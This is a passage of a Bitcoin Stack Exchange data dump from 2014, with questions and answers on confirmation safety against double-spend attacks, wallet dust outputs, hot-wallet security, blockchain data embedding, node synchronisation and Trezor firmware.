  <row Id="32562" PostTypeId="1" AcceptedAnswerId="32564" CreationDate="2014-11-17T00:24:55.793" Score="8" ViewCount="2775" Body="&lt;p&gt;A customer sends me a payment for some digital good at my service, where delayed delivery is a deal-breaker, so I only wait for 1 confirmation by the network before releasing the links for the purchased digital item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prices of these itemsrange from 0,0001 XBT to 50 XBT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do realize that I should probably configure my service to wait for more confirmations for more expensive items, and taken that the current reward for the miners for a new block is 25 XBT would it be safe to assume that no hacker will have any incentive from performing an attack the new block (that contains the transactions that paid for the digital items from my store) when the sum of value of the total items I have sold that have 0-confirmed payments is smaller than 25 XBT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, would 2 confirmations (total miner reward: 2 x 25 XBT) be considered as a safe threshold for items that cost 50 XBT?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-11-17T15:36:40.727" Title="When to worry about 1-confirmation payments" Tags="|confirmations|attack|hacking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32563" PostTypeId="2" ParentId="32561" CreationDate="2014-11-17T01:03:16.327" Score="3" Body="&lt;p&gt;Currently: yes, you pretty much need an Internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future: the relatively-new payment protocol &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP70&lt;/a&gt; can be combined with Bluetooth, near-field communications (NFC), or possibly large QR codes to allow a merchant to send their address to your mobile device and your mobile device to send back a signed payment.  Then the merchant will use their Internet connection to broadcast the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a fair number of developers from organizations like BitPay currently working to make this as easy and seamless as possible, so you probably won't have to wait very long for beta-quality no-Internet-required in-store payment solutions.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5292" LastEditDate="2014-11-17T13:48:51.793" LastActivityDate="2014-11-17T13:48:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32564" PostTypeId="2" ParentId="32562" CreationDate="2014-11-17T01:37:02.363" Score="12" Body="&lt;p&gt;The thing to consider is, &quot;what does the attacker have to give up in order to attack me?&quot;  If the cost of that thing is less than the reward from a successful attack, then attacking is rational from a purely economic standpoint.  (Obviously, attacking someone comes with a non-economic moral cost.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner who controls more than half of the network hash rate, and expects to maintain that control indefinitely, will lose nothing by attacking you.  This is the so-called 51-percent attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner who controls less than half of the hash rate will likely lose a chance at a certain amount of income, but how much depends on how close they get to half of the network hash rate.  I created the following image a few months ago to illustrate this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/harding/bitcoin.org/mining/img/mining/en-confirmed-double-spend-cost.png&quot; alt=&quot;Cost Of Attack In Forfeit Income&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;a href=&quot;https://blockchain.info/pools&quot;&gt;BlockChain.info mining pools chart&lt;/a&gt;, you see there are several which can make affordable attacks against both once-confirmed and six-confirmed transactions.  I suspect all that prevents them from doing so is their reputation in the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others factor are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How much can the attacker get from you in a single attack?  For example, can they order multiple 50 BTC items at the same time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How easily can the attacker profit from an attack against you?  For example, how much can they resell those 50 BTC items for?  Most attackers aren't going to want 20 digital copies of Plan 9 From Outer Space, but they'd love 20 times 50 BTC worth of another crypto currency.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this factors don't apply just to you: they apply to everyone the attacker can attack at the same time.  For example, if they can make 10 BTC by ripping you off and 190 BTC by ripping other people off, then an attack which costs less than 200 BTC is economically worth it.  This means you can't fully analyze your risk by looking just at your items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for more confirmations will always increase your security substantially, and I expect there are few things is this world worth 50 BTC that people can't wait an hour or two for them to arrive.  (But hey, maybe I'm just not rich enough to be spending $20,000 USD on a regular basis.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is all very depressing, I'm sorry.  Long term, the goal of the community will be to decrease miner centralization.  If no miner or mining pool controls more than about 1% of the network hash rate, attacks against once-confirmed transactions become both expensive and unpredictable, and attacks against six-confirmed transactions become practically impossible.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Footnote: Math&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In the image above, the average cost of a successful attack here is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r * h * b / p(h,b) - r * (b-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;em&gt;r&lt;/em&gt; is the block reward (25 BTC), &lt;em&gt;h&lt;/em&gt; is the percentage of network&#xA;hash rate, &lt;em&gt;b&lt;/em&gt; is the number of blocks to create (confirmations plus&#xA;one), and &lt;em&gt;p()&lt;/em&gt; is Satoshi's probability calculator from bitcoin.pdf page&#xA;7. r * h * b is the average value of work used per attempt; p(h,b) is&#xA;the probability of success per attempt; r * (b-1) is the block reward&#xA;the attacker would've received if they mined honestly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the time (average number of blocks elapsed) an attack takes is simply&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 / p(h,b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2014-11-17T15:36:40.727" LastActivityDate="2014-11-17T15:36:40.727" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32565" PostTypeId="2" ParentId="32524" CreationDate="2014-11-17T02:50:29.880" Score="2" Body="&lt;p&gt;In case you are interested as to the cause of this problem, I believe this is due to a 'bug' (of sorts) in the wallet you were using, in which the wallet software doesn't check to make sure it's not generating dust outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a single 1.0 BTC UTXO (unspent transaction output) which is available for spending, and you want to send 0.99989999 BTC (slightly less than 1.0 BTC - default fee 0.0001 BTC). Then in this case, if that is the only UTXO that you have, then you cannot actually send the exact amount you requested and expect it to get confirmed in time. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      0.99989999  (Amount sent)&#xA;    /&#xA;1.0 - 0.00000001  (Change)&#xA;    \&#xA;      0.0001      (Miner fee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to do this, since you have enough to fund the amount and pay for the fee, but the problem is that the transaction will also usually make a dust output (an output of less than 5460 satoshis). One solution is to just automatically give the extra dust to the person you are sending to. Another is to give it to the miners (by not claiming it in any of the outputs). A better solution is to use another UTXO that you own and be able to make a refund UTXO which is not dust, but this is not always possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all of these solutions, no dust outputs are created. But if the wallet software just makes the transaction the usual way and give the leftover change back to yourself without checking to make sure that it's not dust, then what you saw happens and your transaction is not mined and then is eventually thrown out when it becomes old enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty unlikely that this bug would even be apparent in a particular transaction (about a 1 in 18,315 chance), but obviously not impossible, since you had this problem! Probably blockchain.info will apply the fix if enough people complain about it.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-18T15:46:50.773" LastActivityDate="2014-11-18T15:46:50.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32566" PostTypeId="2" ParentId="32495" CreationDate="2014-11-17T03:37:10.663" Score="0" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; you might find what you are looking for at &lt;a href=&quot;http://xapo.com&quot; rel=&quot;nofollow&quot; title=&quot;Xapo&quot;&gt;Xapo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They offer a VISA debit card that lets you pay normally in the local currency. If I understood correclty they pay and then debit the corresponding amount in BTC from your wallet (your Xapo-wallet, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have found out about their service:&#xA;At registration they ask for personal information, address, ID number and a valid mobilenumber. You have to confirm your telephone number before being able to transfer bitcoins. They send you a SMS with a verification code.&lt;br&gt;&#xA;Also, before you can use the card, you have to confirm or validate your Xapo-account via a moneytransfer to an bankaccount of theirs. After that you can use the debit card to buy stuff.&lt;br&gt;&#xA;The card has a monthly fee of about EUR3,95 imposed by VISA. &lt;a href=&quot;http://help.xapo.com/95219-What-fees-are-associated-with-the-Xapo-Debit-Card&quot; rel=&quot;nofollow&quot;&gt;Xapo pays this back if you get charged&lt;/a&gt;. They say their service has no monthly fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no affiliation with them! AND I'm not at all well versed in things bitcoin, &lt;strong&gt;so please take time to investigate this&lt;/strong&gt;.&lt;br&gt;&#xA;I have opened an account at xapo but cannot validate my account with an international moneytransfer, so I have not been able to test anything related to the debit card.&lt;/p&gt;&#xA;" OwnerUserId="21136" LastActivityDate="2014-11-17T03:37:10.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32567" PostTypeId="2" ParentId="32557" CreationDate="2014-11-17T04:32:30.070" Score="1" Body="&lt;p&gt;Both options, &lt;code&gt;bitcoind&lt;/code&gt; and blockchain.info API are equally vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the attacker gains to access to your server, they can empty the hot wallet through an API call, regardless if they or your server has access to the private keys. This API call can be blockchain.info API call or bitcoind JSON-RPC API call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best practices to strengthen a bitcoin service against server compromising attacks&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use separate hot and cold wallets, only manually top up hot wallet from the cold wallet. You will lose the ability to withdraw everything at any time, without manual interaction from the team, but this is the only way to prevent losing everything at once.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encrypt your server and use bare metal servers, so that your server is protected against physical attacks and malicious hosting provider attacks. You can only put relevant config files containing the API tokens to the encrypted partition and symlink the config file to the right location after manually decrypting the server on boot. This way anybody gaining the physical or service port access to the server  is less likely to gain withdraw ability.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://opensourcehacker.com/2014/05/28/securing-your-site/&quot; rel=&quot;nofollow&quot;&gt;Here are some other best practices for operations security&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-11-17T04:32:30.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32569" PostTypeId="2" ParentId="32509" CreationDate="2014-11-17T10:08:19.163" Score="0" Body="&lt;p&gt;By the way, there is a bittorrent download available too, which can give you a head start on the chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Andreas's most excellent book, in chapter 3, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You can shorten the blockchain initialization time by downloading a partial copy of the blockchain using a bittorrent client from &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About 1/3 of the way down the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/aantonop/bitcoinbook/blob/develop/ch03.asciidoc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aantonop/bitcoinbook/blob/develop/ch03.asciidoc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21070" LastActivityDate="2014-11-17T10:08:19.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32570" PostTypeId="2" ParentId="32545" CreationDate="2014-11-17T12:34:11.423" Score="2" Body="&lt;p&gt;I answer my question for the benefit of future generations of readers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have only one 33-byte-long public key, you obtain an address by applying a standard technique that consists of 5-7 steps, depending on how you view the technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have more than one 33-byte-long public keys, you have to construct a so-called redemption script or, in bitcoin parlance, redeemscript. After you’ve constructed the redemption script, you apply the standard technique to the entire redemption script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, a redemption script is a byte array. Suppose you have two public keys. Conceptually, your byte array should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[OP_1][length of public key 1][public key 1][length of public key 2][public key 2][OP_2][OP_CHECKMULTISIG]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my question, I said that I had parsed the input script of a transaction. Therefore, I didn’t have to construct the array. The redemption-script array was already in the input script. I made a “mistake” of extracting the public keys from the redemption script, believing I should massage only the public keys. I should have taken all the bytes of the redemption-script array.&lt;/p&gt;&#xA;" OwnerUserId="20668" LastEditorUserId="20668" LastEditDate="2014-11-18T12:21:46.423" LastActivityDate="2014-11-18T12:21:46.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32573" PostTypeId="1" CreationDate="2014-11-17T15:56:01.230" Score="1" ViewCount="231" Body="&lt;p&gt;I live in the UK with a GBP bank account, and recently I need to receive an amount of $115.92 from a contact in the US. We looked at a few options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;International bank wire: instant no go as his US bank charged stupidly high fees for these.&lt;/li&gt;&#xA;&lt;li&gt;Paypal: according to &lt;a href=&quot;http://www.paypalfeescalculator.com/&quot; rel=&quot;nofollow&quot;&gt;Paypal fees calc&lt;/a&gt; I'd get charged with 3.9% +$0.30 standard rate and 2.5% currency conversion fee above the whole exchange rate so I'd end up with $7.72 charge or $108.20 received. According to xe at the time of writing that equates to £69.20GBP.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin. We went with this option, and my contact used his USD to buy bitcoins and sent me 0.2876BTC, which I traded out on localbitcoins.com minutes later at the best sell rate for a payment directly into my bank account of £71.47GBP (i.e. the sell rate was £248.50/BTC).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It seems that I did better than paypal, but the current wholesale exchange rate would suggest I should have ended up with closer to 74.15GBP, so where did I lose out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it just that the bitcoin rate dropped in the interim, so I got unlucky and lost value, or was it the fact that the buy and sell rates have a &quot;spread&quot;, so even if I bought bitcoins in GBP now then instantly sold them for GBP I'd lose out (because the buy rate is higher than the sell rate of course...). On localbitcoins.com such an experiment would cost me around £10GBP, so maybe infact I got lucky by only losing £3 from the wholesale rate??&lt;/p&gt;&#xA;" OwnerUserId="21158" LastActivityDate="2016-06-10T17:08:34.673" Title="Is bitcoin an effective way to receive international payments?" Tags="|transaction-fees|exchange-rate|" AnswerCount="2" CommentCount="3" ClosedDate="2016-06-11T08:24:15.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="32574" PostTypeId="2" ParentId="32573" CreationDate="2014-11-17T16:09:59.103" Score="0" Body="&lt;p&gt;The spread will be the problem if you are exchanging them on each end. This way is still better than paypal. The value probably won't have dropped; check the dates. You would lose out if you bought then sold instantly because of the spread. Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2014-11-17T16:09:59.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32575" PostTypeId="1" CreationDate="2014-11-17T16:17:12.010" Score="8" ViewCount="5006" Body="&lt;p&gt;Yes, I do understand that it is inappropriate to pollute the already large blockchain with data not necessary to make the currency work. But I know people are using Bitcoin as an underlying system for certain applications, like data storage or reaching common consensus about matters not directly related to the currency itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What methods are mostly employed to inject the blockchain with arbitrary data (like custom scripts representing data or payouts to addresses that represent data)? Is there a need to stop this in order to prevent an undownloadable large blockchain from forming in the future? If so, how can this be accomplished?&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2017-08-12T09:44:16.710" Title="What methods are currently used to embed additional data into the Bitcoin blockchain?" Tags="|blockchain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32576" PostTypeId="2" ParentId="32575" CreationDate="2014-11-17T17:02:29.723" Score="4" Body="&lt;p&gt;The accepted method of doing this is by putting the data in the output script along with op code OP_RETURN which tells clients to mark the transaction as invalid. This way, it doesn't use up as much resources on clients who don't care about non-transaction related data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two schools of thought regarding putting arbitrary data in the blockchain. Some believe that as long as the method used to put arbitrary data in the blockchain follows all the rules of the bitcoin protocol, there is no harm done and that it actually strengthens the network by increasing usage. Others believe that it is detrimental and that these kinds of data should be kept from using up resources on a network that is designed to process transactions and not designed to store arbitrary data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, it all really comes down to what miners think about these kinds of use of the blockchain and from their perspective , they really don't care. To a miner, it makes no difference what the transaction is as long as it pays a transaction fee ,and they can add it to their block. So I believe that this kind of usage of the blockchain is here to stay. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-11-17T17:02:29.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32577" PostTypeId="2" ParentId="29741" CreationDate="2014-11-17T18:10:05.900" Score="0" Body="&lt;p&gt;It does have one, but it's slower than other CPU miners.&lt;/p&gt;&#xA;&lt;p&gt;Not that this matters, as other posters have noted. Half of nothing is still nothing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=22432.msg1129230#msg1129230&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;DrHaribo, Bitminter.com Operator, posted:&lt;/p&gt;&#xA;&lt;p&gt;BitMinter client has a very slow CPU implementation. Since CPUs are next to useless for mining it is not a priority to improve this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-17T18:10:05.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32578" PostTypeId="1" AcceptedAnswerId="32581" CreationDate="2014-11-17T18:56:21.730" Score="2" ViewCount="315" Body="&lt;p&gt;After reading &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10443/18196&quot;&gt;this answer&lt;/a&gt;, where Peter Wuille talks about how a node can't really tell if it is synced or not, it got me wondering if there is a way we can tell that a node is as synced as it possibly can be given the peers it is connected to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could we add an RPC call like &lt;code&gt;getsyncstatus&lt;/code&gt; that would have the node ask its peers for their highest known blocks and if a majority (or some percentage) of their peers all agree on the best known block height, then it could use that info to be able to say (with not perfect reliability) how synced the node is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, if a node has 8 peers, and 7 of them are returning &lt;code&gt;330448&lt;/code&gt; as the best block height, and the client has information about block &lt;code&gt;330448&lt;/code&gt;, then it could give a status code and message signalling that it is up to date. If the peers give different answers (which could happen if you connect to a malicious node that is falsely reporting it's best known height OR if other peers are not fully synced), then it could give a status code and a message indicating that the search was inconclusive and they should try again later. And lastly, if 87.5% of nodes are saying &lt;code&gt;330448&lt;/code&gt; and the node is only synced up to block &lt;code&gt;1000&lt;/code&gt;, then it can give a status code and message indicating that the node is likely not sufficiently synchronized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this would mainly be useful as a way to determine whether servers are sufficiently synchronized with the network for use on some application. The responses to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4394/when-downloading-the-blockchain-for-the-first-time-using-bitcoind-how-do-i-know&quot;&gt;this question&lt;/a&gt; describes a way to see if nodes are up to date, but they all seem kind of hacky, and I'm not sure they would be reliable enough.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-11-18T05:26:07.967" Title="Would it be possible to add an RPC call to be able to determine if a node is fully synced?" Tags="|json-rpc|synchronization|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32579" PostTypeId="2" ParentId="32578" CreationDate="2014-11-17T19:35:02.747" Score="1" Body="&lt;p&gt;No, there is no way to tell, because there is no definition of &quot;being synchronized&quot;. Are you still synchronized at the very moment some miner finds a new block? How would you know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you describe has no benefit over the already implemented methods of detecting whether the node is far behind (also it is already implemented as Pieter Wuille explains in the answer you linked, though it is not available in the API).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it exactly what to try to achieve with this information? Why do you need to know if a server is sufficiently synchronized? You will encounter the real blocks much sooner than any reasonable attacker can generate them.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-11-17T19:35:02.747" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32580" PostTypeId="2" ParentId="32578" CreationDate="2014-11-17T19:47:23.570" Score="1" Body="&lt;p&gt;Well bitcoind is &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;opensource&lt;/a&gt; so it is entirely possible for you to try to integrate something like that yourself. However, rather than make changes to the base code, you might be able to get similar functionality using the rpc calls that are already implemented. Essentially, the bitcoin client already somewhat does what you're explaining. When you connect to a peer, part of the handshake process is sharing each other's current block; if one is higher than the other's and is valid, the other starts to download from the more current peer. If you look at the debug.log file you can see this happening, along with a running &quot;progress&quot; field that gets logged showing you the percentage you have downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for your idea, where you aggregate information, you can try using the &quot;getpeerinfo&quot; rpc call. You could take the information from there and analyse it in anyway you wish without having to to make a native rpc call.&lt;/p&gt;&#xA;" OwnerUserId="18254" LastActivityDate="2014-11-17T19:47:23.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32581" PostTypeId="2" ParentId="32578" CreationDate="2014-11-17T19:49:57.840" Score="2" Body="&lt;h2&gt;Existing Methods&lt;/h2&gt;&#xA;&lt;p&gt;The Bitcoin client does have a way of detecting if it is not sufficiently synchronized. However, to my knowledge, it's not really exposed to RPC in a nice way.&lt;/p&gt;&#xA;&lt;p&gt;It's called &lt;code&gt;IsInitialBlockDownload()&lt;/code&gt;, and it will consider itself not synchronized if any of the following are true:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The client is importing from bootstrap.dat or reindexing the blocks it has.&lt;/li&gt;&#xA;&lt;li&gt;The client has not reached all of its block &lt;a href=&quot;https://en.bitcoin.it/wiki/Checkpoint_Lockin&quot; rel=&quot;nofollow noreferrer&quot;&gt;checkpoints&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The client has received and verified a block in the last 10 seconds AND that block has a timestamp of more than 24 hours ago.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can call &lt;code&gt;getblocktemplate&lt;/code&gt;, and if &lt;code&gt;IsInitialBlockDownload()&lt;/code&gt; is true, it will come back with an error of &lt;code&gt;RPC_CLIENT_IN_INITIAL_DOWNLOAD&lt;/code&gt; (or -10).&lt;/p&gt;&#xA;&lt;h3&gt;Drawbacks&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your Bitcoin node is down for less than 24 hours, this won't detect anything wrong when it comes back up.&lt;/li&gt;&#xA;&lt;li&gt;It's a bit ugly.&lt;/li&gt;&#xA;&lt;li&gt;When your client gets within 24 hours of the current block, it'll think it's up to date, when it probably needs to get ~144 blocks.&lt;/li&gt;&#xA;&lt;li&gt;If your client stops downloading blocks while it's still synchronizing, this won't detect anything wrong.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;New RPC call&lt;/h2&gt;&#xA;&lt;p&gt;Let's suppose that we're designing a new RPC call from scratch. As other posters have noted, it's not possible to determine this perfectly in the presence of malicious actors. What factors could we measure to make an educated guess?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Node uptime. Has the node been up for at least five minutes?&lt;/li&gt;&#xA;&lt;li&gt;Node downtime. Has the node been down recently? If so, take the amount of time that it was down, and divide it a thousand. If your node has not been up at least that long, then it is not synchronized.&lt;/li&gt;&#xA;&lt;li&gt;Block timestamp. The network is fairly liberal about enforcing this rule, but my unscientific guess is that it's usually within half an hour or so. You could use this information in a similar way to how &lt;code&gt;IsInitialBlockDownload()&lt;/code&gt; does.&lt;/li&gt;&#xA;&lt;li&gt;Block height of central node. This is the &amp;quot;Look at blockheight of blockexplorer,&amp;quot; solution mentioned in the other question.&lt;/li&gt;&#xA;&lt;li&gt;Your method would probably work. The only issue I can think of is that if you connected to another node that was still syncronizing, you'd fail to fail.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-18T05:26:07.967" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32582" PostTypeId="2" ParentId="32544" CreationDate="2014-11-17T20:01:15.077" Score="6" Body="&lt;p&gt;I emailed them about this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As for the possibility to get the seed out of the TREZOR:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Official firmware doesn't have any support for exporting the seed&lt;/li&gt;&#xA;&lt;li&gt;Official firmware is opensource at github and signed by SatoshiLabs so anybody can check that the firmware can't leak the keys. The&#xA;signature is checked by the device's bootloader which can't be&#xA;changed, because the bootloader fuse is blown on the board after the&#xA;board is fleshed with the bootloader.&lt;/li&gt;&#xA;&lt;li&gt;When anybody wants to flash the device with unofficial bootloader the warning is displayed and user confirmation is needed. During&#xA;update with unofficial bootloader (which can have the functionally of&#xA;reading the internal device memory) the storage of the device is wiped&#xA;first.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They also linked to &lt;a href=&quot;http://doc.satoshilabs.com/trezor-faq/threats.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; from their FAQ.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Reflashing the TREZOR with evil firmware&lt;/h3&gt;&#xA;&lt;p&gt;Official TREZOR firmware is signed by the SatoshiLabs master key. Installing unofficial firmware on the TREZOR is possible, but doing so will wipe the device storage and TREZOR will show a warning every time it starts. Reprogramming the bootloader is impossible, because all TREZORs ship with their secure programming fuse blown.&lt;/p&gt;&#xA;&lt;h3&gt;What happens if the SatoshiLabs servers are hacked and the firmware signing key is stolen?&lt;/h3&gt;&#xA;&lt;p&gt;First off, this won’t happen ;). The SatoshiLabs master key is kept very safe. However, you don’t need to rely on the SatoshiLabs signature. You can &lt;a href=&quot;https://github.com/trezor/trezor-mcu/blob/master/README.rst&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify the build yourself&lt;/a&gt;. Our hope is that a few trusted TREZOR users will make a habit of verifying firmware checksums. If you are concerned about this, we suggest making a habit of checking our blog or social news channels such as reddit before applying any updates. If there ever was a problem with the firmware not matching the source code, you can be sure someone will have written about it.&lt;/p&gt;&#xA;&lt;p&gt;You don’t need to worry about the firmware being updated by a computer virus. Your TREZOR will ask you to manually confirm the update before anything is written to the TREZOR’s memory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-18T15:55:53.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32583" PostTypeId="2" ParentId="32489" CreationDate="2014-11-17T20:22:56.347" Score="1" Body="&lt;p&gt;If you pay X amount of bitcoins you should get back the exact same amount regardless of its market value. This is no different that with any other currencies. The value of the dollar or/and the Europe, for example, also fluctuate on a daily basis and stores don't go around refunding people based of their absolute value for a particular day. What this store is doing is unscrupulous and it sets out a very bad precedent. If I anyone can have the choice to cancel transactions because they don't benefit from them because of the increase/decrease of the valuation of the currency used, then this will open a pandora's box. Especially with currencies that fluctuate dramatically like bitcoins sometimes does. If I lend you $100 when the value of the dollar in the market is 0.85 cents, you still have to pay me back $100 even if at the time for you to repay me the value of the dollar is more or is less. That's the way we have always done it so I don't see why we should start treating bitcoins transactions differently. You paid X amount of currency Y therefore you should get the same exact amount of X of Y back. Moreover, if the transaction had happened the way it was supposed to have happened, the vendor would've been the loser in the sense that he sold a product for what consumers were willing to pay that specific day but later on, for normal economic reasons that define the laws of demand and supply, that product's price went up and now people are willing to pay more for that product. Again, by allowing this merchant to cancel or not to cancel based on either, prices fluctuations, or/and, the value of the currency used days after the original transaction has happened, would set a precedent that could mess up our way of doing business transactions. You should fight this guy all the way to the end. Moreover, I would strongly suggest that you share this merchant's name with us so we can all keep an eye opened for cancellations of this type.&lt;/p&gt;&#xA;" OwnerUserId="21163" LastEditorUserId="21163" LastEditDate="2014-11-17T20:57:55.633" LastActivityDate="2014-11-17T20:57:55.633" CommentCount="2" 